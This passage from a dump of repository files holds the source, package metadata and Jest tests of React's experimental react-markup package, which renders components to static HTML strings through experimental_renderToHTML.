`react-dom`.\n\n## API\n\n### `react-markup`\n\nSee https://react.dev/reference/react-markup\n\n## Thanks\n\nThe React team thanks [Nikolai Mavrenkov](https://www.koluch.ru/) for donating the `react-markup` package name.\n"
  },
  {
    "path": "packages/react-markup/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactMarkupClient';\n"
  },
  {
    "path": "packages/react-markup/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-markup.production.js');\n} else {\n  module.exports = require('./cjs/react-markup.development.js');\n}\n"
  },
  {
    "path": "packages/react-markup/npm/react-markup.react-server.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-markup.react-server.production.js');\n} else {\n  module.exports = require('./cjs/react-markup.react-server.development.js');\n}\n"
  },
  {
    "path": "packages/react-markup/package.json",
    "content": "{\n  \"name\": \"react-markup\",\n  \"version\": \"19.3.0\",\n  \"description\": \"React package generating embedded markup such as e-mails with support for Server Components.\",\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-markup\"\n  },\n  \"keywords\": [\n    \"react\"\n  ],\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"peerDependencies\": {\n    \"react\": \"^19.0.0\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"react-markup.react-server.js\",\n    \"cjs/\"\n  ],\n  \"exports\": {\n    \".\": {\n      \"react-server\": \"./react-markup.react-server.js\",\n      \"default\": \"./index.js\"\n    },\n    \"./src/*\": \"./src/*\",\n    \"./package.json\": \"./package.json\"\n  }\n}\n"
  },
  {
    "path": "packages/react-markup/react-markup.react-server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactMarkupServer';\n"
  },
  {
    "path": "packages/react-markup/src/ReactFizzConfigMarkup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport type {\n  RenderState,\n  ResumableState,\n  PreambleState,\n  HoistableState,\n  FormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {\n  pushStartInstance as pushStartInstanceImpl,\n  writePreambleStart as writePreambleStartImpl,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport type {\n  Destination,\n  Chunk,\n  PrecomputedChunk,\n} from 'react-server/src/ReactServerStreamConfig';\n\nimport type {FormStatus} from 'react-dom-bindings/src/shared/ReactDOMFormActions';\n\nimport {NotPending} from 'react-dom-bindings/src/shared/ReactDOMFormActions';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\n// Allow embedding inside another Fizz render.\nexport const isPrimaryRenderer = false;\n\n// Disable Client Hooks\nexport const supportsClientAPIs = false;\n\nimport {stringToChunk} from 'react-server/src/ReactServerStreamConfig';\n\nexport type {\n  RenderState,\n  ResumableState,\n  HoistableState,\n  PreambleState,\n  FormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nexport {\n  getChildFormatContext,\n  getSuspenseFallbackFormatContext,\n  getSuspenseContentFormatContext,\n  makeId,\n  pushEndInstance,\n  pushFormStateMarkerIsMatching,\n  pushFormStateMarkerIsNotMatching,\n  writeStartSegment,\n  writeEndSegment,\n  writeCompletedSegmentInstruction,\n  writeCompletedBoundaryInstruction,\n  writeClientRenderBoundaryInstruction,\n  writeStartPendingSuspenseBoundary,\n  writeEndPendingSuspenseBoundary,\n  writeHoistablesForBoundary,\n  writePlaceholder,\n  createRootFormatContext,\n  createRenderState,\n  createResumableState,\n  createPreambleState,\n  createHoistableState,\n  writePreambleEnd,\n  writeHoistables,\n  writePostamble,\n  hoistHoistables,\n  resetResumableState,\n  completeResumableState,\n  emitEarlyPreloads,\n  doctypeChunk,\n  canHavePreamble,\n  hoistPreambleState,\n  isPreambleReady,\n  isPreambleContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport escapeTextForBrowser from 'react-dom-bindings/src/server/escapeTextForBrowser';\n\nexport function getViewTransitionFormatContext(\n  resumableState: ResumableState,\n  parentContext: FormatContext,\n  update: void | null | 'none' | 'auto' | string,\n  enter: void | null | 'none' | 'auto' | string,\n  exit: void | null | 'none' | 'auto' | string,\n  share: void | null | 'none' | 'auto' | string,\n  name: void | null | 'auto' | string,\n  autoName: string, // name or an autogenerated unique name\n): FormatContext {\n  // ViewTransition reveals are not supported in markup renders.\n  return parentContext;\n}\n\nexport function pushStartInstance(\n  target: Array<Chunk | PrecomputedChunk>,\n  type: string,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  preambleState: null | PreambleState,\n  hoistableState: null | HoistableState,\n  formatContext: FormatContext,\n  textEmbedded: boolean,\n): ReactNodeList {\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propKey === 'ref' && propValue != null) {\n        throw new Error(\n          'Cannot pass ref in renderToHTML because they will never be hydrated.',\n        );\n      }\n      if (typeof propValue === 'function') {\n        throw new Error(\n          'Cannot pass event handlers (' +\n            propKey +\n            ') in renderToHTML because ' +\n            'the HTML will never be hydrated so they can never get called.',\n        );\n      }\n    }\n  }\n\n  return pushStartInstanceImpl(\n    target,\n    type,\n    props,\n    resumableState,\n    renderState,\n    preambleState,\n    hoistableState,\n    formatContext,\n    textEmbedded,\n  );\n}\n\nexport function pushTextInstance(\n  target: Array<Chunk | PrecomputedChunk>,\n  text: string,\n  renderState: RenderState,\n  textEmbedded: boolean,\n): boolean {\n  // Markup doesn't need any termination.\n  target.push(stringToChunk(escapeTextForBrowser(text)));\n  return false;\n}\n\nexport function pushSegmentFinale(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n  lastPushedText: boolean,\n  textEmbedded: boolean,\n): void {\n  // Markup doesn't need any termination.\n  return;\n}\n\nexport function pushStartActivityBoundary(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n): void {\n  // Markup doesn't have any instructions.\n  return;\n}\n\nexport function pushEndActivityBoundary(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n): void {\n  // Markup doesn't have any instructions.\n  return;\n}\n\nexport function writeStartCompletedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  // Markup doesn't have any instructions.\n  return true;\n}\n\nexport function writeStartClientRenderedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n  // flushing these error arguments are not currently supported in this legacy streaming format.\n  errorDigest: ?string,\n  errorMessage: ?string,\n  errorStack: ?string,\n  errorComponentStack: ?string,\n): boolean {\n  // Markup doesn't have any instructions.\n  return true;\n}\n\nexport function writeEndCompletedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  // Markup doesn't have any instructions.\n  return true;\n}\nexport function writeEndClientRenderedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  // Markup doesn't have any instructions.\n  return true;\n}\n\nexport function writePreambleStart(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  skipBlockingShell: boolean,\n): void {\n  return writePreambleStartImpl(\n    destination,\n    resumableState,\n    renderState,\n    true, // skipBlockingShell\n  );\n}\n\nexport function writeCompletedRoot(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  isComplete: boolean,\n): boolean {\n  // Markup doesn't have any bootstrap scripts nor shell completions.\n  return true;\n}\n\nexport function hasSuspenseyContent(\n  hoistableState: HoistableState,\n  flushingInShell: boolean,\n): boolean {\n  // Never outline.\n  return false;\n}\n\nexport type TransitionStatus = FormStatus;\nexport const NotPendingTransition: TransitionStatus = NotPending;\n"
  },
  {
    "path": "packages/react-markup/src/ReactMarkupClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\nimport type {ErrorInfo} from 'react-server/src/ReactFizzServer';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createRequest as createFizzRequest,\n  startWork as startFizzWork,\n  startFlowing as startFizzFlowing,\n  abort as abortFizz,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  createRootFormatContext,\n} from './ReactFizzConfigMarkup';\n\ntype MarkupOptions = {\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n};\n\nexport function experimental_renderToHTML(\n  children: ReactNodeList,\n  options?: MarkupOptions,\n): Promise<string> {\n  return new Promise((resolve, reject) => {\n    let buffer = '';\n    const fizzDestination = {\n      push(chunk: string | null): boolean {\n        if (chunk !== null) {\n          buffer += chunk;\n        } else {\n          // null indicates that we finished\n          resolve(buffer);\n        }\n        return true;\n      },\n      destroy(error: mixed) {\n        reject(error);\n      },\n    };\n    function handleError(error: mixed, errorInfo: ErrorInfo) {\n      // Any error rejects the promise, regardless of where it happened.\n      // Unlike other React SSR we don't want to put Suspense boundaries into\n      // client rendering mode because there's no client rendering here.\n      reject(error);\n\n      const onError = options && options.onError;\n      if (onError) {\n        onError(error, errorInfo);\n      }\n    }\n    const resumableState = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      undefined,\n    );\n    const fizzRequest = createFizzRequest(\n      children,\n      resumableState,\n      createRenderState(\n        resumableState,\n        undefined,\n        undefined,\n        undefined,\n        undefined,\n        undefined,\n      ),\n      createRootFormatContext(),\n      Infinity,\n      handleError,\n      undefined,\n      undefined,\n      undefined,\n      undefined,\n      undefined,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abortFizz(fizzRequest, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abortFizz(fizzRequest, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startFizzWork(fizzRequest);\n    startFizzFlowing(fizzRequest, fizzDestination);\n  });\n}\n\nexport {ReactVersion as version};\n"
  },
  {
    "path": "packages/react-markup/src/ReactMarkupClient.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// eslint-disable-next-line react-internal/prod-error-codes\nthrow new Error('react-markup should not get built in stable');\n"
  },
  {
    "path": "packages/react-markup/src/ReactMarkupLegacyClientStreamConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type StringDecoder = null;\n\nexport function createStringDecoder(): null {\n  return null;\n}\n\nexport function readPartialStringChunk(\n  decoder: StringDecoder,\n  buffer: Uint8Array,\n): string {\n  throw new Error('Not implemented.');\n}\n\nexport function readFinalStringChunk(\n  decoder: StringDecoder,\n  buffer: Uint8Array,\n): string {\n  throw new Error('Not implemented.');\n}\n"
  },
  {
    "path": "packages/react-markup/src/ReactMarkupServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\nimport type {LazyComponent} from 'react/src/ReactLazy';\nimport type {ErrorInfo} from 'react-server/src/ReactFizzServer';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport ReactSharedInternalsServer from 'react-server/src/ReactSharedInternalsServer';\nimport ReactSharedInternalsClient from 'shared/ReactSharedInternals';\n\nimport {\n  createRequest as createFlightRequest,\n  startWork as startFlightWork,\n  startFlowing as startFlightFlowing,\n  abort as abortFlight,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse as createFlightResponse,\n  createStreamState as createFlightStreamState,\n  getRoot as getFlightRoot,\n  processStringChunk as processFlightStringChunk,\n  close as closeFlight,\n} from 'react-client/src/ReactFlightClient';\n\nimport {\n  createRequest as createFizzRequest,\n  startWork as startFizzWork,\n  startFlowing as startFizzFlowing,\n  abort as abortFizz,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  createRootFormatContext,\n} from './ReactFizzConfigMarkup';\n\ntype ReactMarkupNodeList =\n  // This is the intersection of ReactNodeList and ReactClientValue minus\n  // Client/ServerReferences.\n  | component(...props: any)\n  | LazyComponent<ReactMarkupNodeList, any>\n  | React$Element<string>\n  | string\n  | boolean\n  | number\n  | symbol\n  | null\n  | void\n  | bigint\n  | $AsyncIterable<ReactMarkupNodeList, ReactMarkupNodeList, void>\n  | $AsyncIterator<ReactMarkupNodeList, ReactMarkupNodeList, void>\n  | Iterable<ReactMarkupNodeList>\n  | Iterator<ReactMarkupNodeList>\n  | Array<ReactMarkupNodeList>\n  | Promise<ReactMarkupNodeList>; // Thenable<ReactMarkupNodeList>\n\ntype MarkupOptions = {\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n};\n\nfunction noServerCallOrFormAction() {\n  throw new Error(\n    'renderToHTML should not have emitted Server References. This is a bug in React.',\n  );\n}\n\nexport function experimental_renderToHTML(\n  children: ReactMarkupNodeList,\n  options?: MarkupOptions,\n): Promise<string> {\n  return new Promise((resolve, reject) => {\n    const flightResponse = createFlightResponse(\n      null,\n      null,\n      null,\n      noServerCallOrFormAction,\n      noServerCallOrFormAction,\n      undefined,\n      undefined,\n      false,\n      undefined,\n      false,\n      undefined,\n      undefined,\n      undefined,\n    );\n    const streamState = createFlightStreamState(flightResponse, null);\n    const flightDestination = {\n      push(chunk: string | null): boolean {\n        if (chunk !== null) {\n          processFlightStringChunk(flightResponse, streamState, chunk);\n        } else {\n          closeFlight(flightResponse);\n        }\n        return true;\n      },\n      destroy(error: mixed): void {\n        abortFizz(fizzRequest, error);\n        reject(error);\n      },\n    };\n    let buffer = '';\n    const fizzDestination = {\n      // $FlowFixMe[missing-local-annot]\n      push(chunk) {\n        if (chunk !== null) {\n          buffer += chunk;\n        } else {\n          // null indicates that we finished\n          resolve(buffer);\n        }\n        return true;\n      },\n      // $FlowFixMe[missing-local-annot]\n      destroy(error) {\n        abortFlight(flightRequest, error);\n        reject(error);\n      },\n    };\n\n    let stashErrorIdx = 1;\n    const stashedErrors: Map<string, mixed> = new Map();\n\n    function handleFlightError(error: mixed): string {\n      // For Flight errors we don't immediately reject, because they might not matter\n      // to the output of the HTML. We stash the error with a digest in case we need\n      // to get to the original error from the Fizz render.\n      const id = '' + stashErrorIdx++;\n      stashedErrors.set(id, error);\n      return id;\n    }\n\n    function handleError(error: mixed, errorInfo: ErrorInfo) {\n      if (typeof error === 'object' && error !== null) {\n        const id = error.digest;\n        // Note that the original error might be `undefined` so we need a has check.\n        if (typeof id === 'string' && stashedErrors.has(id)) {\n          // Get the original error thrown inside Flight.\n          error = stashedErrors.get(id);\n        }\n      }\n\n      // Any error rejects the promise, regardless of where it happened.\n      // Unlike other React SSR we don't want to put Suspense boundaries into\n      // client rendering mode because there's no client rendering here.\n      reject(error);\n\n      const onError = options && options.onError;\n      if (onError) {\n        if (__DEV__) {\n          const prevGetCurrentStackImpl =\n            ReactSharedInternalsServer.getCurrentStack;\n          // We're inside a \"client\" callback from Fizz but we only have access to the\n          // \"server\" runtime so to get access to a stack trace within this callback we\n          // need to override it to get it from the client runtime.\n          ReactSharedInternalsServer.getCurrentStack =\n            ReactSharedInternalsClient.getCurrentStack;\n          try {\n            onError(error, errorInfo);\n          } finally {\n            ReactSharedInternalsServer.getCurrentStack =\n              prevGetCurrentStackImpl;\n          }\n        } else {\n          onError(error, errorInfo);\n        }\n      }\n    }\n    const flightRequest = createFlightRequest(\n      // $FlowFixMe: This should be a subtype but not everything is typed covariant.\n      children,\n      null,\n      handleFlightError,\n      options ? options.identifierPrefix : undefined,\n      undefined,\n      undefined,\n      'Markup',\n      undefined,\n      false,\n    );\n    const resumableState = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      undefined,\n    );\n    const root = getFlightRoot<ReactNodeList>(flightResponse);\n    const fizzRequest = createFizzRequest(\n      // $FlowFixMe: Thenables as children are supported.\n      root,\n      resumableState,\n      createRenderState(\n        resumableState,\n        undefined,\n        undefined,\n        undefined,\n        undefined,\n        undefined,\n      ),\n      createRootFormatContext(),\n      Infinity,\n      handleError,\n      undefined,\n      undefined,\n      undefined,\n      undefined,\n      undefined,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abortFlight(flightRequest, (signal: any).reason);\n        abortFizz(fizzRequest, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abortFlight(flightRequest, (signal: any).reason);\n          abortFizz(fizzRequest, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startFlightWork(flightRequest);\n    startFlightFlowing(flightRequest, flightDestination);\n    startFizzWork(fizzRequest);\n    startFizzFlowing(fizzRequest, fizzDestination);\n  });\n}\n\nexport {ReactVersion as version};\n"
  },
  {
    "path": "packages/react-markup/src/ReactMarkupServer.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// eslint-disable-next-line react-internal/prod-error-codes\nthrow new Error('react-markup should not get built in stable');\n"
  },
  {
    "path": "packages/react-markup/src/__tests__/ReactMarkupClient-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactMarkup;\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    String(str).replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n      return '\\n    in ' + name + ' (at **)';\n    })\n  );\n}\n\nif (!__EXPERIMENTAL__) {\n  it('should not be built in stable', () => {\n    try {\n      require('react-markup');\n    } catch (x) {\n      return;\n    }\n    throw new Error('Expected react-markup not to exist in stable.');\n  });\n} else {\n  describe('ReactMarkup', () => {\n    beforeEach(() => {\n      jest.resetModules();\n      React = require('react');\n      ReactMarkup = require('react-markup');\n    });\n\n    it('should be able to render a simple component', async () => {\n      function Component() {\n        return <div>hello world</div>;\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(<Component />);\n      expect(html).toBe('<div>hello world</div>');\n    });\n\n    it('should be able to render a large string', async () => {\n      function Component() {\n        return <div>{'hello '.repeat(200)}world</div>;\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(\n        React.createElement(Component),\n      );\n      expect(html).toBe('<div>' + ('hello '.repeat(200) + 'world') + '</div>');\n    });\n\n    it('should prefix html tags with a doctype', async () => {\n      const html = await ReactMarkup.experimental_renderToHTML(\n        <html>\n          <body>hello</body>\n        </html>,\n      );\n      expect(html).toBe(\n        '<!DOCTYPE html><html><head></head><body>hello</body></html>',\n      );\n    });\n\n    it('should error on useState', async () => {\n      function Component() {\n        const [state] = React.useState('hello');\n        return <div>{state}</div>;\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(<Component />);\n      }).rejects.toThrow(\n        'Cannot use state or effect Hooks in renderToHTML because this component will never be hydrated.',\n      );\n    });\n\n    it('should error on refs passed to host components', async () => {\n      function Component() {\n        const ref = React.createRef();\n        return <div ref={ref} />;\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(<Component />);\n      }).rejects.toThrow(\n        'Cannot pass ref in renderToHTML because they will never be hydrated.',\n      );\n    });\n\n    it('should error on callbacks passed to event handlers', async () => {\n      function Component() {\n        function onClick() {\n          // This won't be able to be called.\n        }\n        return <div onClick={onClick} />;\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(<Component />);\n      }).rejects.toThrow(\n        'Cannot pass event handlers (onClick) in renderToHTML because the HTML will never be hydrated so they can never get called.',\n      );\n    });\n\n    it('supports the useId Hook', async () => {\n      function Component() {\n        const firstNameId = React.useId();\n        const lastNameId = React.useId();\n        return React.createElement(\n          'div',\n          null,\n          React.createElement(\n            'h2',\n            {\n              id: firstNameId,\n            },\n            'First',\n          ),\n          React.createElement(\n            'p',\n            {\n              'aria-labelledby': firstNameId,\n            },\n            'Sebastian',\n          ),\n          React.createElement(\n            'h2',\n            {\n              id: lastNameId,\n            },\n            'Last',\n          ),\n          React.createElement(\n            'p',\n            {\n              'aria-labelledby': lastNameId,\n            },\n            'Smith',\n          ),\n        );\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(<Component />);\n      const container = document.createElement('div');\n      container.innerHTML = html;\n\n      expect(container.getElementsByTagName('h2')[0].id).toBe(\n        container.getElementsByTagName('p')[0].getAttribute('aria-labelledby'),\n      );\n      expect(container.getElementsByTagName('h2')[1].id).toBe(\n        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),\n      );\n\n      // It's not the same id between them.\n      expect(container.getElementsByTagName('h2')[0].id).not.toBe(\n        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),\n      );\n    });\n\n    // @gate disableClientCache\n    it('does NOT support cache yet because it is a client component', async () => {\n      let counter = 0;\n      const getCount = React.cache(() => {\n        return counter++;\n      });\n      function Component() {\n        const a = getCount();\n        const b = getCount();\n        return (\n          <div>\n            {a}\n            {b}\n          </div>\n        );\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(<Component />);\n      expect(html).toBe('<div>01</div>');\n    });\n\n    it('can get the component owner stacks for onError in dev', async () => {\n      const thrownError = new Error('hi');\n      const caughtErrors = [];\n\n      function Foo() {\n        return <Bar />;\n      }\n      function Bar() {\n        return (\n          <div>\n            <Baz />\n          </div>\n        );\n      }\n      function Baz({unused}) {\n        throw thrownError;\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(\n          <div>\n            <Foo />\n          </div>,\n          {\n            onError(error, errorInfo) {\n              caughtErrors.push({\n                error: error,\n                parentStack: errorInfo.componentStack,\n                ownerStack: React.captureOwnerStack\n                  ? React.captureOwnerStack()\n                  : null,\n              });\n            },\n          },\n        );\n      }).rejects.toThrow(thrownError);\n\n      expect(caughtErrors.length).toBe(1);\n      expect(caughtErrors[0].error).toBe(thrownError);\n      expect(normalizeCodeLocInfo(caughtErrors[0].parentStack)).toBe(\n        '\\n    in Baz (at **)' +\n          '\\n    in div (at **)' +\n          '\\n    in Bar (at **)' +\n          '\\n    in Foo (at **)' +\n          '\\n    in div (at **)',\n      );\n      expect(normalizeCodeLocInfo(caughtErrors[0].ownerStack)).toBe(\n        __DEV__ ? '\\n    in Bar (at **)' + '\\n    in Foo (at **)' : null,\n      );\n    });\n  });\n}\n"
  },
  {
    "path": "packages/react-markup/src/__tests__/ReactMarkupServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nglobal.TextDecoder = require('util').TextDecoder;\nglobal.TextEncoder = require('util').TextEncoder;\n\nlet React;\nlet ReactMarkup;\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    String(str).replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n      return '\\n    in ' + name + ' (at **)';\n    })\n  );\n}\n\nif (!__EXPERIMENTAL__) {\n  it('should not be built in stable', () => {\n    try {\n      require('react-markup');\n    } catch (x) {\n      return;\n    }\n    throw new Error('Expected react-markup not to exist in stable.');\n  });\n} else {\n  describe('ReactMarkup', () => {\n    beforeEach(() => {\n      jest.resetModules();\n      // We run in the react-server condition.\n      jest.mock('react', () => require('react/react.react-server'));\n      if (__EXPERIMENTAL__) {\n        jest.mock('react-markup', () =>\n          require('react-markup/react-markup.react-server'),\n        );\n      }\n\n      React = require('react');\n      if (__EXPERIMENTAL__) {\n        ReactMarkup = require('react-markup');\n      } else {\n        try {\n          require('react-markup/react-markup.react-server');\n        } catch (x) {\n          return;\n        }\n        throw new Error('Expected react-markup not to exist in stable.');\n      }\n    });\n\n    it('should be able to render a simple component', async () => {\n      function Component() {\n        // We can't use JSX because that's client-JSX in our tests.\n        return React.createElement('div', null, 'hello world');\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(\n        React.createElement(Component),\n      );\n      expect(html).toBe('<div>hello world</div>');\n    });\n\n    it('should be able to render a large string', async () => {\n      function Component() {\n        // We can't use JSX because that's client-JSX in our tests.\n        return React.createElement('div', null, 'hello '.repeat(200) + 'world');\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(\n        React.createElement(Component),\n      );\n      expect(html).toBe('<div>' + ('hello '.repeat(200) + 'world') + '</div>');\n    });\n\n    it('should prefix html tags with a doctype', async () => {\n      const html = await ReactMarkup.experimental_renderToHTML(\n        React.createElement(\n          'html',\n          null,\n          React.createElement('body', null, 'hello'),\n        ),\n      );\n      expect(html).toBe(\n        '<!DOCTYPE html><html><head></head><body>hello</body></html>',\n      );\n    });\n\n    it('should error on useState', async () => {\n      function Component() {\n        const [state] = React.useState('hello');\n        // We can't use JSX because that's client-JSX in our tests.\n        return React.createElement('div', null, state);\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(\n          React.createElement(Component),\n        );\n      }).rejects.toThrow('React.useState is not a function');\n    });\n\n    it('should error on refs passed to host components', async () => {\n      function Component() {\n        const ref = React.createRef();\n        // We can't use JSX because that's client-JSX in our tests.\n        return React.createElement('div', {ref});\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(\n          React.createElement(Component),\n        );\n      }).rejects.toThrow(\n        'Refs cannot be used in Server Components, nor passed to Client Components.',\n      );\n    });\n\n    it('should error on callbacks passed to event handlers', async () => {\n      function Component() {\n        function onClick() {\n          // This won't be able to be called.\n        }\n        // We can't use JSX because that's client-JSX in our tests.\n        return React.createElement('div', {onClick});\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(\n          React.createElement(Component),\n        );\n      }).rejects.toThrowError(\n        __DEV__\n          ? `Event handlers cannot be passed to Client Component props.\\n` +\n              '  <div onClick={function onClick}>\\n' +\n              '               ^^^^^^^^^^^^^^^^^^\\n' +\n              'If you need interactivity, consider converting part of this to a Client Component.'\n          : `Event handlers cannot be passed to Client Component props.\\n` +\n              '  {onClick: function onClick}\\n' +\n              '            ^^^^^^^^^^^^^^^^\\n' +\n              'If you need interactivity, consider converting part of this to a Client Component.',\n      );\n    });\n\n    it('supports the useId Hook', async () => {\n      function Component() {\n        const firstNameId = React.useId();\n        const lastNameId = React.useId();\n        // We can't use JSX because that's client-JSX in our tests.\n        return React.createElement(\n          'div',\n          null,\n          React.createElement(\n            'h2',\n            {\n              id: firstNameId,\n            },\n            'First',\n          ),\n          React.createElement(\n            'p',\n            {\n              'aria-labelledby': firstNameId,\n            },\n            'Sebastian',\n          ),\n          React.createElement(\n            'h2',\n            {\n              id: lastNameId,\n            },\n            'Last',\n          ),\n          React.createElement(\n            'p',\n            {\n              'aria-labelledby': lastNameId,\n            },\n            'Smith',\n          ),\n        );\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(\n        React.createElement(Component),\n      );\n      const container = document.createElement('div');\n      container.innerHTML = html;\n\n      expect(container.getElementsByTagName('h2')[0].id).toBe(\n        container.getElementsByTagName('p')[0].getAttribute('aria-labelledby'),\n      );\n      expect(container.getElementsByTagName('h2')[1].id).toBe(\n        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),\n      );\n\n      // It's not the same id between them.\n      expect(container.getElementsByTagName('h2')[0].id).not.toBe(\n        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),\n      );\n    });\n\n    it('supports cache', async () => {\n      let counter = 0;\n      const getCount = React.cache(() => {\n        return counter++;\n      });\n      function Component() {\n        const a = getCount();\n        const b = getCount();\n        return React.createElement('div', null, a, b);\n      }\n\n      const html = await ReactMarkup.experimental_renderToHTML(\n        React.createElement(Component),\n      );\n      expect(html).toBe('<div>00</div>');\n    });\n\n    it('can get the component owner stacks for onError in dev', async () => {\n      const thrownError = new Error('hi');\n      const caughtErrors = [];\n\n      function Foo() {\n        return React.createElement(Bar);\n      }\n      function Bar() {\n        return React.createElement('div', null, React.createElement(Baz));\n      }\n      function Baz({unused}) {\n        throw thrownError;\n      }\n\n      await expect(async () => {\n        await ReactMarkup.experimental_renderToHTML(\n          React.createElement('div', null, React.createElement(Foo)),\n          {\n            onError(error, errorInfo) {\n              caughtErrors.push({\n                error: error,\n                parentStack: errorInfo.componentStack,\n                ownerStack: React.captureOwnerStack\n                  ? React.captureOwnerStack()\n                  : null,\n              });\n            },\n          },\n        );\n      }).rejects.toThrow(thrownError);\n\n      expect(caughtErrors.length).toBe(1);\n     